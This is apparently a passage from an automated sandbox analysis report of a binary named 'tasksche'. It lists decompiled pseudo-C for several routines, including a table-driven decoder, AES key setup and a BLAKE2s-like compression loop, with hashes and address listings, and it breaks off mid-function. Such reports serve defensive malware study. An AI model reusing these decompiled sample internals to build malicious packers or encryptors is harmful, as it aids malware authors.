Instruction ID: 2a1397d1efbb1e156a4ddc1088eaf27e515a490876f5f290c2ff2c2445328417
Opcode Fuzzy Hash: 19fe713726019c3973d82b14b26a9fc68d02c60563561d4d82d0835d1efeca77
Instruction Fuzzy Hash: 0B02E5B1A106069BCB1DCF28C5916E9B7E1FF85304F24852ED556CBA85D338F9E1CB88

Uniqueness

Uniqueness Score: -1.00%

Function 00413EE3 Relevance: 1.8, APIs: 1, Instructions: 267
COMMONCrypto

Download Yara Rule

C-Code - Quality: 93%

			E00413EE3(void* __ecx, unsigned int __edx) {
				signed int _v8;
				signed int _v12;
				char _v32;
				char _v60;
				char _v77;
				char _v137;
				char _v436;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t113;
				char _t119;
				signed int _t124;
				unsigned int _t125;
				signed int _t128;
				signed int _t129;
				signed int _t132;
				intOrPtr _t149;
				signed int _t155;
				signed int _t157;
				signed int _t158;
				signed int _t161;
				signed int _t162;
				void* _t172;
				void* _t173;
				signed int _t185;
				void* _t187;
				intOrPtr* _t189;
				signed int _t198;
				intOrPtr* _t200;
				void* _t201;
				signed int _t204;
				signed int _t210;
				signed int _t211;
				signed int _t219;
				signed int _t221;
				intOrPtr* _t222;
				intOrPtr* _t224;
				void* _t225;
				void* _t226;

				_t209 = __edx;
				_t173 = __ecx;
				_t224 = __ecx + 4;
				if( *_t224 <=  *((intOrPtr*)(__ecx + 0x78)) - 0x19) {
					L2:
					E004097BA(_t224,  ~( *(_t173 + 8)) & 0x00000007);
					_t113 = E004097D1(_t224);
					_t230 = _t113 & 0x00008000;
					if((_t113 & 0x00008000) == 0) {
						 *((intOrPtr*)(_t173 + 0xe654)) = 0;
						 *((intOrPtr*)(_t173 + 0x98c8)) = 0;
						 *((intOrPtr*)(_t173 + 0x98cc)) = 0;
						__eflags = _t113 & 0x00004000;
						if((_t113 & 0x00004000) == 0) {
							E0041A820(0, _t173 + 0xe4c0, 0, 0x194);
							_t226 = _t226 + 0xc;
						}
						E004097BA(_t224, 2);
						_v8 = 0;
						do {
							_v12 = E004097D1(_t224) >> 0x0000000c & 0x000000ff;
							E004097BA(_t224, 4);
							_t119 = _v12;
							__eflags = _t119 - 0xf;
							if(_t119 != 0xf) {
								 *((char*)(_t225 + _v8 - 0x1c)) = _t119;
								goto L16;
							}
							_t219 = E004097D1(_t224) >> 0x0000000c & 0x000000ff;
							E004097BA(_t224, 4);
							__eflags = _t219;
							if(_t219 != 0) {
								_t221 = _t219 + 2;
								while(1) {
									__eflags = _t221;
									if(_t221 <= 0) {
										break;
									}
									_t221 = _t221 - 1;
									__eflags = _v8 - 0x14;
									if(_v8 >= 0x14) {
										break;
									}
									_t23 =  &_v8;
									 *_t23 = _v8 + 1;
									__eflags =  *_t23;
									 *((char*)(_t225 + _v8 - 0x1c)) = 0;
								}
								_v8 = _v8 - 1;
								goto L16;
							}
							 *((char*)(_t225 + _v8 - 0x1c)) = 0xf;
							L16:
							_v8 = _v8 + 1;
							__eflags = _v8 - 0x14;
						} while (__eflags < 0);
						_t222 = _t173 + 0x3c44;
						E0041284B(__eflags,  &_v32, _t222, 0x14);
						_t37 =  &_v8;
						 *_t37 = _v8 & 0x00000000;
						__eflags =  *_t37;
						do {
							__eflags =  *_t224 -  *((intOrPtr*)(_t173 + 0x78)) - 5;
							if( *_t224 <=  *((intOrPtr*)(_t173 + 0x78)) - 5) {
								L20:
								_t124 = E0040978C(_t224);
								_t210 =  *(_t222 + 0x84);
								_t125 = _t124 & 0x0000fffe;
								__eflags = _t125 -  *((intOrPtr*)(_t222 + 4 + _t210 * 4));
								if(_t125 >=  *((intOrPtr*)(_t222 + 4 + _t210 * 4))) {
									_t211 = _t210 + 1;
									_v12 = 0xf;
									__eflags = _t211 - 0xf;
									if(_t211 >= 0xf) {
										L28:
										_t185 =  *(_t224 + 4) + _v12;
										 *_t224 =  *_t224 + (_t185 >> 3);
										_t209 = _v12;
										 *(_t224 + 4) = _t185 & 0x00000007;
										_t187 = 0x10;
										_t128 = (_t125 -  *((intOrPtr*)(_t222 + _v12 * 4)) >> _t187 - _v12) +  *((intOrPtr*)(_t222 + 0x44 + _t209 * 4));
										__eflags = _t128 -  *_t222;
										if(_t128 >=  *_t222) {
											_t128 = 0;
											__eflags = 0;
										}
										_t129 =  *(_t222 + 0xc88 + _t128 * 2) & 0x0000ffff;
										L31:
										__eflags = _t129 - 0x10;
										if(_t129 >= 0x10) {
											__eflags = _t129 - 0x12;
											_t189 = _t224;
											if(__eflags >= 0) {
												if(__eflags != 0) {
													_t132 = (E004097D1(_t189) >> 9) + 0xb;
													__eflags = _t132;
													_push(7);
												} else {
													_t132 = (E004097D1(_t189) >> 0xd) + 3;
													_push(3);
												}
												_v12 = _t132;
												E004097BA(_t224);
												while(1) {
													__eflags = _v12;
													if(_v12 <= 0) {
														goto L50;
													}
													_v12 = _v12 - 1;
													__eflags = _v8 - 0x194;
													if(_v8 >= 0x194) {
														goto L51;
													}
													_t90 =  &_v8;
													 *_t90 = _v8 + 1;
													__eflags =  *_t90;
													 *((char*)(_t225 + _v8 - 0x1b0)) = 0;
												}
												goto L50;
											}
											__eflags = _t129 - 0x10;
											if(_t129 != 0x10) {
												_t155 = (E004097D1(_t189) >> 9) + 0xb;
												__eflags = _t155;
												_push(7);
											} else {
												_t155 = (E004097D1(_t189) >> 0xd) + 3;
												_push(3);
											}
											_v12 = _t155;
											E004097BA(_t224);
											__eflags = _v8;
											if(_v8 > 0) {
												while(1) {
													__eflags = _v12;
													if(_v12 <= 0) {
														break;
													}
													_t157 = _v8;
													_v12 = _v12 - 1;
													__eflags = _t157 - 0x194;
													if(_t157 >= 0x194) {
														goto L51;
													}
													 *((char*)(_t225 + _t157 - 0x1b0)) =  *((intOrPtr*)(_t225 + _t157 - 0x1b1));
													_t158 = _t157 + 1;
													__eflags = _t158;
													_v8 = _t158;
												}
											}
											goto L50;
										}
										_t198 = _v8;
										_t209 =  *((intOrPtr*)(_t198 + _t173 + 0xe4c0)) + _t129 & 0x0000000f;
										 *(_t225 + _t198 - 0x1b0) =  *((intOrPtr*)(_t198 + _t173 + 0xe4c0)) + _t129 & 0x0000000f;
										_v8 = _t198 + 1;
										goto L50;
									}
									_t200 = _t222 + 4 + _t211 * 4;
									while(1) {
										__eflags = _t125 -  *_t200;
										if(_t125 <  *_t200) {
											break;
										}
										_t211 = _t211 + 1;
										_t200 = _t200 + 4;
										__eflags = _t211 - 0xf;
										if(_t211 < 0xf) {
											continue;
										}
										goto L28;
									}
									_v12 = _t211;
									goto L28;
								}
								_t201 = 0x10;
								_t161 = _t125 >> _t201 - _t210;
								_t204 = ( *(_t161 + _t222 + 0x88) & 0x000000ff) +  *(_t224 + 4);
								_t209 = _t204 >> 3;
								 *_t224 =  *_t224 + (_t204 >> 3);
								 *(_t224 + 4) = _t204 & 0x00000007;
								_t129 =  *(_t222 + 0x488 + _t161 * 2) & 0x0000ffff;
								goto L31;
							}
							_t162 = E0041236D(_t173, _t173, _t209);
							__eflags = _t162;
							if(_t162 == 0) {
								L52:
								_t149 = 0;
								L54:
								return _t149;
							}
							goto L20;
							L50:
							__eflags = _v8 - 0x194;
						} while (_v8 < 0x194);
						L51:
						__eflags =  *_t224 -  *((intOrPtr*)(_t173 + 0x78));
						 *((char*)(_t173 + 0xe658)) = 1;
						if(__eflags <= 0) {
							E0041284B(__eflags,  &_v436, _t173 + 0x94, 0x12b);
							E0041284B(__eflags,  &_v137, _t173 + 0xf80, 0x3c);
							E0041284B(__eflags,  &_v77, _t173 + 0x1e6c, 0x11);
							E0041284B(__eflags,  &_v60, _t173 + 0x2d58, 0x1c);
							_t174 = _t173 + 0xe4c0;
							__eflags = _t173 + 0xe4c0;
							E0041C290(_t173 + 0xe4c0, _t222, _t224, _t174,  &_v436, 0x194);
							_t149 = 1;
							goto L54;
						}
						goto L52;
					}
					 *((intOrPtr*)(_t173 + 0xe654)) = 1;
					return E00413A86(_t173 + 0x98d0, _t209, _t230, _t173, _t173 + 0xe4bc);
				}
				_t172 = E0041236D(__ecx, __ecx, __edx);
				if(_t172 != 0) {
					goto L2;
				}
				return _t172;
			}

0x00413ee3
0x00413eed
0x00413ef3
0x00413efb
0x00413f0a
0x00413f15
0x00413f1c
0x00413f21
0x00413f26
0x00413f4d
0x00413f53
0x00413f59
0x00413f5f
0x00413f64
0x00413f73
0x00413f78
0x00413f78
0x00413f7f
0x00413f84
0x00413f87
0x00413f98
0x00413f9b
0x00413fa0
0x00413fa3
0x00413fa6
0x00413fee
0x00000000
0x00413fee
0x00413fb6
0x00413fb9
0x00413fbe
0x00413fc0
0x00413fcd
0x00413fe2
0x00413fe2
0x00413fe4
0x00000000
0x00000000
0x00413fd0
0x00413fd1
0x00413fd5
0x00000000
0x00000000
0x00413fda
0x00413fda
0x00413fda
0x00413fdd
0x00413fdd
0x00413fe6
0x00000000
0x00413fe6
0x00413fc5
0x00413ff2
0x00413ff2
0x00413ff5
0x00413ff5
0x00413ffd
0x0041400a
0x0041400f
0x0041400f
0x0041400f
0x00414013
0x00414019
0x0041401b
0x0041402c
0x0041402e
0x00414033
0x00414039
0x0041403e
0x00414042
0x0041406d
0x0041406e
0x00414075
0x00414078
0x00414090
0x00414093
0x0041409d
0x0041409f
0x004140a5
0x004140ab
0x004140b0
0x004140b4
0x004140b6
0x004140b8
0x004140b8
0x004140b8
0x004140ba
0x004140c2
0x004140c2
0x004140c5
0x004140e6
0x004140e9
0x004140eb
0x00414147
0x00414160
0x00414160
0x00414163
0x00414149
0x00414151
0x00414154
0x00414154
0x00414167
0x0041416a
0x0041418b
0x0041418b
0x0041418f
0x00000000
0x00000000
0x00414171
0x00414174
0x0041417b
0x00000000
0x00000000
0x00414180
0x00414180
0x00414180
0x00414183
0x00414183
0x00000000
0x0041418b
0x004140ed
0x004140f0
0x00414109
0x00414109
0x0041410c
0x004140f2
0x004140fa
0x004140fd
0x004140fd
0x00414110
0x00414113
0x00414118
0x0041411c
0x0041413f
0x0041413f
0x00414143
0x00000000
0x00000000
0x00414120
0x00414123
0x00414126
0x0041412b
0x00000000
0x00000000
0x00414134
0x0041413b
0x0041413b
0x0041413c
0x0041413c
0x00414145
0x00000000
0x0041411c
0x004140c7
0x004140d3
0x004140d6
0x004140de
0x00000000
0x004140de
0x0041407a
0x0041407e
0x0041407e
0x00414080
0x00000000
0x00000000
0x00414082
0x00414083
0x00414086
0x00414089
0x00000000
0x00000000
0x00000000
0x0041408b
0x0041408d
0x00000000
0x0041408d
0x00414046
0x00414049
0x00414053
0x00414058
0x0041405b
0x00414060
0x00414063
0x00000000
0x00414063
0x0041401f
0x00414024
0x00414026
0x004141ac
0x004141ac
0x00414226
0x00000000
0x00414226
0x00000000
0x00414191
0x00414191
0x00414191
0x0041419e
0x004141a0
0x004141a3
0x004141aa
0x004141c5
0x004141dc
0x004141f0
0x00414204
0x00414215
0x00414215
0x0041421c
0x00414224
0x00000000
0x00414224
0x00000000
0x004141aa
0x00413f36
0x00000000
0x00413f40
0x00413efd
0x00413f04
0x00000000
0x00000000
0x0041422a

APIs

_memset.LIBCMT ref: 00413F73

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: 9c54e9cdedc4d1f5f0a70ee5fbfd421263a38b40d6fcac4ed0c82430486a0b60
Instruction ID: 3562be7dcc5a33f83423fe2ddc28cf6e78eed116dec30ec79901489c8d2199a3
Opcode Fuzzy Hash: 9c54e9cdedc4d1f5f0a70ee5fbfd421263a38b40d6fcac4ed0c82430486a0b60
Instruction Fuzzy Hash: CBA11472A00208EBDB04DF65C581BED77B5AB94304F24447FE942EB282C77C9AC2DB59

Uniqueness

Uniqueness Score: -1.00%

Function 0040CA52 Relevance: 1.6, APIs: 1, Instructions: 84
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E0040CA52(signed char* __ecx, intOrPtr __edx, void* __edi, char _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				signed char* _v8;
				unsigned int _v16;
				char _v24;
				char _v40;
				void* _t32;
				signed int _t33;
				void* _t34;
				void* _t36;
				void* _t39;
				intOrPtr _t41;
				char _t44;
				char _t47;
				intOrPtr _t48;
				signed int _t54;
				void* _t55;
				signed int _t57;
				intOrPtr* _t60;
				signed char* _t61;
				void* _t63;

				_t55 = __edi;
				_v8 = __ecx;
				_push(_t41);
				asm("cpuid");
				_t60 =  &_v24;
				 *_t60 = 1;
				 *((intOrPtr*)(_t60 + 4)) = _t41;
				 *((intOrPtr*)(_t60 + 8)) = 0;
				 *((intOrPtr*)(_t60 + 0xc)) = __edx;
				_t61 = _v8;
				 *_t61 = _v16 >> 0x00000019 & 0x00000001;
				_t32 = _a12 - 0x80;
				if(_t32 == 0) {
					_t47 = 0x10;
					_t61[4] = 0xa;
				} else {
					_t39 = _t32 - 0x40;
					if(_t39 == 0) {
						_t47 = 0x18;
						_t61[4] = 0xc;
					} else {
						if(_t39 != 0x40) {
							_t47 = _a4;
						} else {
							_t47 = 0x20;
							_t61[4] = 0xe;
						}
					}
				}
				_t33 = 0;
				if(_t47 <= 0) {
					L11:
					_t48 = _a16;
					_t71 = _t48;
					if(_t48 != 0) {
						_t34 = 0;
						__eflags = 0;
						do {
							_t61[_t34 + 8] =  *((intOrPtr*)(_t34 + _t48));
							_t34 = _t34 + 1;
							__eflags = _t34 - 0x10;
						} while (__eflags < 0);
						L15:
						_t36 = E0040C4FF(_t61, _t71,  &_v40);
						if(_a4 == 0) {
							_t36 = E0040C6C4(_t61);
						}
						return _t36;
					}
					_t20 =  &(_t61[8]); // 0x8
					E0041A820(_t55, _t20, _t48, 0x10);
					goto L15;
				} else {
					_push(_t55);
					do {
						_t44 =  *((intOrPtr*)(_t33 + _a8));
						_t54 = _t33 >> 2;
						_t57 = _t33 & 0x00000003;
						_t33 = _t33 + 1;
						 *((char*)(_t63 + _t57 - 0x24 + _t54 * 4)) = _t44;
					} while (_t33 < _t47);
					_pop(_t55);
					goto L11;
				}
			}

0x0040ca52
0x0040ca5b
0x0040ca60
0x0040ca61
0x0040ca64
0x0040ca67
0x0040ca69
0x0040ca6c
0x0040ca6f
0x0040ca75
0x0040ca7d
0x0040ca82
0x0040ca87
0x0040caad
0x0040caae
0x0040ca89
0x0040ca89
0x0040ca8c
0x0040caa1
0x0040caa2
0x0040ca8e
0x0040ca91
0x0040cab7
0x0040ca93
0x0040ca95
0x0040ca96
0x0040ca96
0x0040ca91
0x0040ca8c
0x0040caba
0x0040cabe
0x0040cade
0x0040cade
0x0040cae1
0x0040cae3
0x0040caf6
0x0040caf6
0x0040caf8
0x0040cafb
0x0040caff
0x0040cb00
0x0040cb00
0x0040cb05
0x0040cb0b
0x0040cb14
0x0040cb18
0x0040cb18
0x0040cb20
0x0040cb20
0x0040cae8
0x0040caec
0x00000000
0x0040cac0
0x0040cac0
0x0040cac1
0x0040cac4
0x0040cacb
0x0040cace
0x0040cad1
0x0040cad6
0x0040cad9
0x0040cadd
0x00000000
0x0040cadd

APIs

_memset.LIBCMT ref: 0040CAEC

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: f170c41e67568dbb41c50a43ec108573c349a1076046e87b2a713adcc681154b
Instruction ID: e1f0199fda650a5869103b9083c5b7a650503f912fa59dbaeb4dd54c60283149
Opcode Fuzzy Hash: f170c41e67568dbb41c50a43ec108573c349a1076046e87b2a713adcc681154b
Instruction Fuzzy Hash: 0721F672704209DFD724CF28D4817AA7BE5AB19300F10892FD896E73C2C678E9458B49

Uniqueness

Uniqueness Score: -1.00%

Function 00404986 Relevance: 1.5, Strings: 1, Instructions: 245
COMMONCrypto

Download Yara Rule

C-Code - Quality: 70%

			E00404986(void* __eax, intOrPtr _a4) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				void _v68;
				void _v132;
				void* _t219;
				signed int* _t220;
				void* _t223;
				signed int* _t226;
				signed int _t229;
				signed int _t230;
				signed int _t231;
				signed int _t233;
				signed int _t238;
				signed int _t240;
				signed int _t241;
				signed int _t242;
				void* _t244;
				intOrPtr _t245;
				signed int _t252;
				signed int _t257;
				signed int _t259;
				signed int _t265;
				signed int _t270;
				signed int _t275;
				signed int _t280;
				signed int _t282;
				signed int _t283;
				signed int _t285;
				signed int _t289;
				signed int _t290;
				signed int _t293;
				signed int _t294;
				signed int _t300;
				signed int _t301;
				signed int _t303;
				signed int _t315;
				signed int _t316;
				signed int _t331;
				signed int _t341;
				signed int _t346;
				signed int _t347;
				signed int _t348;
				signed int _t353;
				signed int _t357;
				signed int _t358;
				signed int _t362;
				void* _t364;

				_t245 = _a4;
				_t233 = 0x10;
				memcpy( &_v132, __eax, _t233 << 2);
				_push(8);
				_t219 = memcpy( &_v68,  *(_t245 + 0xf4), 0 << 2);
				_t220 =  *(_t245 + 0xfc);
				_t238 =  *_t219 ^ 0x510e527f;
				_t341 =  *(_t219 + 4) ^ 0x9b05688c;
				_v8 = _t220[1] ^ 0x5be0cd19;
				_v36 = 0x6a09e667;
				_v32 = 0xbb67ae85;
				_v28 = 0x3c6ef372;
				_v24 = 0xa54ff53a;
				_v12 =  *_t220 ^ 0x1f83d9ab;
				_t223 = 0;
				while(1) {
					_t229 = _v68 +  *((intOrPtr*)(_t364 + ( *(_t223 + 0x42a4d0) & 0x000000ff) * 4 - 0x80)) + _v52;
					_t252 = _t229 ^ _t238;
					asm("ror edx, 0x10");
					_v36 = _v36 + _t252;
					_t240 = _v52 ^ _v36;
					asm("ror ecx, 0xc");
					_t230 = _t229 +  *((intOrPtr*)(_t364 + ( *(_t223 + 0x42a4d1) & 0x000000ff) * 4 - 0x80)) + _t240;
					_v68 = _t230;
					_t231 = _t230 ^ _t252;
					asm("ror ebx, 0x8");
					_v64 = _v64 +  *((intOrPtr*)(_t364 + ( *(_t223 + 0x42a4d2) & 0x000000ff) * 4 - 0x80)) + _v48;
					_v36 = _v36 + _t231;
					_t241 = _t240 ^ _v36;
					_t257 = _v64 ^ _t341;
					asm("ror ecx, 0x7");
					asm("ror edx, 0x10");
					_v32 = _v32 + _t257;
					_v16 = _t257;
					_t259 = _v48 ^ _v32;
					_t315 = _v40;
					asm("ror edx, 0xc");
					_v64 = _v64 +  *((intOrPtr*)(_t364 + ( *(_t223 + 0x42a4d3) & 0x000000ff) * 4 - 0x80)) + _t259;
					_t346 = _v64 ^ _v16;
					asm("ror esi, 0x8");
					_v32 = _v32 + _t346;
					_v16 = _t346;
					_t347 = _v44;
					asm("ror edx, 0x7");
					_v48 = _t259 ^ _v32;
					_v60 = _v60 +  *((intOrPtr*)(_t364 + ( *(_t223 + 0x42a4d4) & 0x000000ff) * 4 - 0x80)) + _t347;
					_t265 = _v60 ^ _v12;
					asm("ror edx, 0x10");
					_v28 = _v28 + _t265;
					_t348 = _t347 ^ _v28;
					_v12 = _t265;
					asm("ror esi, 0xc");
					_v60 = _v60 +  *((intOrPtr*)(_t364 + ( *(_t223 + 0x42a4d5) & 0x000000ff) * 4 - 0x80)) + _t348;
					_t270 = _v60 ^ _v12;
					asm("ror edx, 0x8");
					_v28 = _v28 + _t270;
					_v12 = _t270;
					_v56 = _v56 +  *((intOrPtr*)(_t364 + ( *(_t223 + 0x42a4d6) & 0x000000ff) * 4 - 0x80)) + _t315;
					_t275 = _v56 ^ _v8;
					asm("ror esi, 0x7");
					asm("ror edx, 0x10");
					_v24 = _v24 + _t275;
					_t316 = _t315 ^ _v24;
					_v44 = _t348 ^ _v28;
					_v8 = _t275;
					asm("ror edi, 0xc");
					_v56 = _v56 +  *((intOrPtr*)(_t364 + ( *(_t223 + 0x42a4d7) & 0x000000ff) * 4 - 0x80)) + _t316;
					_t280 = _v56 ^ _v8;
					asm("ror edx, 0x8");
					_v24 = _v24 + _t280;
					_v8 = _t280;
					_t282 = _v48;
					_v68 = _v68 +  *((intOrPtr*)(_t364 + ( *(_t223 + 0x42a4d8) & 0x000000ff) * 4 - 0x80)) + _t282;
					_t353 = _v68 ^ _v8;
					asm("ror edi, 0x7");
					asm("ror esi, 0x10");
					_v28 = _v28 + _t353;
					_t283 = _t282 ^ _v28;
					_v40 = _t316 ^ _v24;
					asm("ror edx, 0xc");
					_v68 = _v68 +  *((intOrPtr*)(_t364 + ( *(_t223 + 0x42a4d9) & 0x000000ff) * 4 - 0x80)) + _t283;
					_v48 = _t283;
					_t285 = _v68 ^ _t353;
					asm("ror edx, 0x8");
					_v28 = _v28 + _t285;
					_v8 = _t285;
					asm("ror edx, 0x7");
					_v48 = _v48 ^ _v28;
					_t289 = _v44;
					_v64 = _v64 +  *((intOrPtr*)(_t364 + ( *(_t223 + 0x42a4da) & 0x000000ff) * 4 - 0x80)) + _t289;
					_t357 = _v64 ^ _t231;
					asm("ror esi, 0x10");
					_v24 = _v24 + _t357;
					_t290 = _t289 ^ _v24;
					asm("ror edx, 0xc");
					_v64 = _v64 +  *((intOrPtr*)(_t364 + ( *(_t223 + 0x42a4db) & 0x000000ff) * 4 - 0x80)) + _t290;
					asm("ror edi, 0x8");
					_t358 = _v64 ^ _t357;
					_v24 = _v24 + _t358;
					asm("ror edx, 0x7");
					_v44 = _t290 ^ _v24;
					_v20 = _t358;
					_t293 = _v40;
					_v60 = _v60 +  *((intOrPtr*)(_t364 + ( *(_t223 + 0x42a4dc) & 0x000000ff) * 4 - 0x80)) + _t293;
					_t362 = _v60 ^ _v16;
					asm("ror esi, 0x10");
					_v36 = _v36 + _t362;
					_t294 = _t293 ^ _v36;
					asm("ror edx, 0xc");
					_v60 = _v60 +  *((intOrPtr*)(_t364 + ( *(_t223 + 0x42a4dd) & 0x000000ff) * 4 - 0x80)) + _t294;
					asm("ror edi, 0x8");
					_t341 = _v60 ^ _t362;
					_v36 = _v36 + _t341;
					_t331 =  *(_t223 + 0x42a4df) & 0x000000ff;
					asm("ror edx, 0x7");
					_v40 = _t294 ^ _v36;
					_v56 = _v56 +  *((intOrPtr*)(_t364 + ( *(_t223 + 0x42a4de) & 0x000000ff) * 4 - 0x80)) + _t241;
					_t300 = _v56 ^ _v12;
					_t223 = _t223 + 0x10;
					asm("ror edx, 0x10");
					_v32 = _v32 + _t300;
					_t242 = _t241 ^ _v32;
					_v16 = _t341;
					asm("ror ecx, 0xc");
					_v56 = _v56 +  *((intOrPtr*)(_t364 + _t331 * 4 - 0x80)) + _t242;
					asm("ror edi, 0x8");
					_t301 = _v56 ^ _t300;
					_v32 = _v32 + _t301;
					_v12 = _t301;
					asm("ror ecx, 0x7");
					_v52 = _t242 ^ _v32;
					if(_t223 > 0x90) {
						break;
					}
					_t238 = _v20;
				}
				_t244 = 0;
				do {
					_t226 =  *((intOrPtr*)(_a4 + 0xf4)) + _t244;
					_t303 =  *(_t364 + _t244 - 0x20) ^  *_t226;
					_t244 = _t244 + 4;
					 *_t226 = _t303 ^  *(_t364 + _t244 - 0x44);
				} while (_t244 < 0x20);
				return _t226;
			}

0x0040498f
0x0040499f
0x004049a3
0x004049ab
0x004049b1
0x004049b8
0x004049ce
0x004049d4
0x004049da
0x004049dd
0x004049e4
0x004049eb
0x004049f2
0x004049f9
0x004049fc
0x00404a03
0x00404a14
0x00404a23
0x00404a25
0x00404a28
0x00404a2e
0x00404a31
0x00404a36
0x00404a38
0x00404a3b
0x00404a4b
0x00404a4e
0x00404a51
0x00404a54
0x00404a5a
0x00404a67
0x00404a6a
0x00404a6d
0x00404a70
0x00404a76
0x00404a79
0x00404a7c
0x00404a81
0x00404a87
0x00404a8a
0x00404a8d
0x00404a93
0x00404a96
0x00404a99
0x00404a9c
0x00404aac
0x00404ab2
0x00404ab5
0x00404ab8
0x00404abb
0x00404abe
0x00404acc
0x00404ad1
0x00404ad7
0x00404ada
0x00404add
0x00404ae3
0x00404af3
0x00404af9
0x00404afc
0x00404aff
0x00404b02
0x00404b05
0x00404b08
0x00404b0b
0x00404b19
0x00404b1e
0x00404b24
0x00404b27
0x00404b2a
0x00404b30
0x00404b3e
0x00404b43
0x00404b49
0x00404b4c
0x00404b4f
0x00404b52
0x00404b55
0x00404b58
0x00404b66
0x00404b6b
0x00404b6e
0x00404b74
0x00404b76
0x00404b79
0x00404b7c
0x00404b90
0x00404b93
0x00404ba1
0x00404ba6
0x00404bac
0x00404bae
0x00404bb1
0x00404bb4
0x00404bb7
0x00404bbc
0x00404bc4
0x00404bc7
0x00404bc9
0x00404bda
0x00404bdd
0x00404be7
0x00404bee
0x00404bf3
0x00404bf9
0x00404bfc
0x00404bff
0x00404c02
0x00404c05
0x00404c0a
0x00404c12
0x00404c15
0x00404c17
0x00404c1d
0x00404c28
0x00404c2b
0x00404c3b
0x00404c41
0x00404c44
0x00404c47
0x00404c4a
0x00404c4d
0x00404c50
0x00404c53
0x00404c58
0x00404c60
0x00404c63
0x00404c65
0x00404c6b
0x00404c6e
0x00404c71
0x00404c79
0x00000000
0x00000000
0x00404a00
0x00404a00
0x00404c81
0x00404c84
0x00404c91
0x00404c93
0x00404c95
0x00404c9c
0x00404c9e
0x00404ca4

Strings

gj, xrefs: 004049DD

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID:
String ID: gj
API String ID: 0-4203073231
Opcode ID: 8e8f698dc4288f7cd721a7a81a634b87765ee1de91585cf515aab87a68fe5fee
Instruction ID: d9eb52a2d6ff44a43e3580116b86408f9a206631cbab7b39ea8bb55ae5343344
Opcode Fuzzy Hash: 8e8f698dc4288f7cd721a7a81a634b87765ee1de91585cf515aab87a68fe5fee
Instruction Fuzzy Hash: 81C126B2D002289BDF44CF9AD8405EEFBF2BFC8310F2AC1A6D81477615D6346A529F91

Uniqueness

Uniqueness Score: -1.00%

Function 00416C3F Relevance: .8, Instructions: 835
COMMONCrypto

Download Yara Rule

C-Code - Quality: 74%

			E00416C3F(void* __ecx, unsigned int _a4) {
				signed int _v8;
				unsigned int _v12;
				unsigned int _v16;
				char _v32;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t398;
				signed int _t399;
				unsigned int _t400;
				signed int _t403;
				intOrPtr* _t405;
				signed int _t407;
				unsigned int _t408;
				signed int _t411;
				signed int _t412;
				signed int* _t420;
				intOrPtr _t421;
				unsigned int _t423;
				unsigned int _t432;
				unsigned int _t434;
				signed int _t435;
				unsigned int _t438;
				signed int _t441;
				signed int _t442;
				signed int _t444;
				signed int _t445;
				signed int* _t446;
				char* _t447;
				unsigned int _t449;
				unsigned int _t451;
				signed int _t453;
				signed int _t456;
				signed int _t457;
				signed int _t464;
				unsigned int _t465;
				signed int _t468;
				signed int _t469;
				signed int* _t477;
				unsigned int _t479;
				unsigned int _t482;
				signed int _t483;
				unsigned int _t486;
				signed int _t489;
				signed int _t490;
				signed int _t491;
				unsigned int _t492;
				signed int _t495;
				signed int _t496;
				signed int _t497;
				unsigned int _t498;
				signed int _t505;
				unsigned int _t506;
				signed int _t509;
				signed int _t510;
				signed int _t515;
				intOrPtr _t517;
				void* _t521;
				signed int _t522;
				void* _t526;
				signed int _t527;
				signed int _t530;
				signed int _t531;
				signed int _t532;
				signed int _t537;
				void* _t539;
				intOrPtr* _t540;
				signed int _t541;
				intOrPtr* _t543;
				intOrPtr* _t544;
				void* _t547;
				signed int _t548;
				intOrPtr* _t551;
				signed int _t554;
				signed int _t555;
				signed int _t558;
				unsigned int _t559;
				void* _t561;
				signed int _t562;
				signed int _t565;
				intOrPtr* _t568;
				signed int _t569;
				signed int _t570;
				intOrPtr* _t571;
				signed int _t574;
				signed int _t576;
				unsigned int _t578;
				void* _t580;
				signed int _t583;
				signed int _t585;
				unsigned int _t587;
				void* _t589;
				signed int _t593;
				char* _t604;
				signed int _t605;
				void* _t608;
				void* _t612;
				signed int _t615;
				signed int _t618;
				unsigned int _t624;
				signed int _t625;
				unsigned int _t627;
				signed int _t633;
				unsigned int _t635;
				void* _t637;
				signed int _t640;
				signed int _t642;
				unsigned int _t648;
				signed int _t649;
				void* _t651;
				signed int _t656;
				unsigned int _t658;
				void* _t660;
				void* _t662;
				signed int _t665;
				void* _t668;
				void* _t670;
				signed int _t673;
				void* _t676;
				void* _t683;
				signed int _t686;
				signed int _t695;
				signed int _t696;
				signed int _t697;
				signed int _t713;
				signed int _t733;
				signed int _t736;
				signed int _t750;
				intOrPtr* _t753;
				intOrPtr* _t758;
				void* _t760;
				void* _t761;
				void* _t767;

				_t760 = __ecx;
				 *((char*)(__ecx + 0x4c58)) = 1;
				if( *((char*)(__ecx + 0x4c48)) != 0) {
					L4:
					_t758 = _t760 + 4;
					while(1) {
						 *(_t760 + 0x70) =  *(_t760 + 0x70) &  *(_t760 + 0xe6dc);
